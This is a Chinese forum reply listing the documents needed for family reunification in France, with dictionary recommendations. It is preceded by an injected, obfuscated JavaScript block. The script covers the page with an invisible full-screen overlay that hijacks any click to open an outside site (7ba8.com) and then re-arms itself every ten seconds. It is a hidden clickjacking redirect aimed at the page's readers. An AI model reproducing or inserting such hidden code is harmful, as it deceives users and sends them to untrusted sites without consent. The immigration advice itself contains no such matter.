<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>关于办理赴法家庭团聚的材料－回复Liyafly 4935491
一旦你拿到法国的家庭户口本（指你和你老公不是在法国结婚，你不曾来过法国），那么你老公可以在法国办理家庭团聚，他作为申请人，可以同时申请你（作为法国公民的配偶）和你的孩子（作为他的继子女）来法国，这个程序按照法国的规定，一般要六个月，具体需要的材料，可以让你老公到移民局要，即Bureau de l'O.M.I. 一般讲（也许各地区会有细微差别）你老公需要准备下列材料：
1 申请人本人（即你老公）的身份证 及复印件
2 结婚证书的原件和复印件，如果你们是在中国领的结婚证，要进行公证后拿到法国有当地法庭指定的翻译译成法文。如果是在法国领的结婚证，要到颁发结婚证所在的marie 要一份Extrait de Mariage j即婚姻证书
3 申请人本人的出生证书（到他所在的marie就能要到）及复印件
4 被申请人（即你的）出生证明的原件和复印件（你的要在国内公证，拿到法国后也要由法庭指定的翻译翻译）
5 你孩子的出生证和出生证的公证书的原件和复印件（也要翻译，要求同上）
6 为了证明你是孩子的法定监护人，需要提供你与原老公的离婚证书（或离婚协议）同时还要提供孩子父亲同意孩子来法国的同意书，要在国内公证，也要在法国翻译。
7 有关工资收入的证明，须提供下列材料：a 你老公最近一年（即从提交材料开始往前12个月，以下同理）的报税单；b 如果你老公是被雇佣者，需要提供工作合同（或者被雇佣的证明）和最近12个月的工资单； c 如果是退休者，须提供有关被给予养老金决定的通知书 或者残废抚恤金并附有效日期，此外应附有最近一年的收入明细证明；d 如果是商人或手工业者，须提供至少3个月在商业部门和公司（指商人），或在职业目录中（指手工业者）或者在自由职业目录即SIRENE中的注册证明，同时要提供上一年度的财务资产负债表。
8 住房证明： a 住房合同及最近一个月的房租收据或房屋所有权的公证书；b 或者由雇主出具的提供居住的证明（或还可以由家庭出具）
9 最近一个月的电费收据单和电话费收据单
10 住房保险证明
11 医疗保险证明
12房补通知（如果享有的话）
13被申请人在其所在国的住址（须翻译，不需公证）
如果你已经获准来法国，你可以在申请签证的同时，申请你女儿，她是作为随行儿童，一般也会得到准许，我不清楚你女儿有多大？如果她不是以家庭团聚的名义到法国（即使随你同往，也是访问者的身份），她早晚也要走家庭团聚的程序，否则，即使在她未成年时可以随你留在法国，但她的身份永远都是visiteur，就是访问者，一旦她成年，当她不能再合法的拿到在法的居留时，她就必须回原国家。当然了，如果你带她到法国，也可以再走家庭团聚的程序，只是一旦被批准，她要回国再重新办理签证的手续。实践中是这样做的。但是严格讲按照有关规定，孩子一旦在法国境内，是不能走家庭团聚程序的。如果你的孩子还小，她可以在法国上学，如果有连续五年以上的学籍，在18岁后她也可以申请法国国籍。不知说清楚没有。总之，有关这方面的情况比较复杂，要具体问题具体分析。
关于字典，我有桑母通译，但不常用，因为对我来讲，词汇量有限尤其我搞法律。但对你来讲是足够了，可以法译汉，汉译法，可以英译汉，汉译英。还可以自建词库。不知你过来准备工作与否。如果想学好法语，还是要买一本好的字典。原来上海译文出版社的法汉字典就很好（比较适合你吧），但去年1月又出了一本《新世纪法汉大词典》，是陈振尧主编的，很好，词汇很新，只是例句都是引用的文学名著里的原句，因此就你目前的情况，也许难了些。还有国内很多法语老师推荐买拉鲁斯双解词典，我不敢苟同，例句很少，词义也不多。再有，可以买一本商务印书馆出的《汉法词典》，对与法国人交流很有帮助。此外，对于日常生活而言，可以买本商务印书馆出的《汉法实用词汇汇编》，它是按分类进行编排的。
最后祝你顺利
[该贴被 作者villemin 修改于 2006-8-22 2:46:18] |
收藏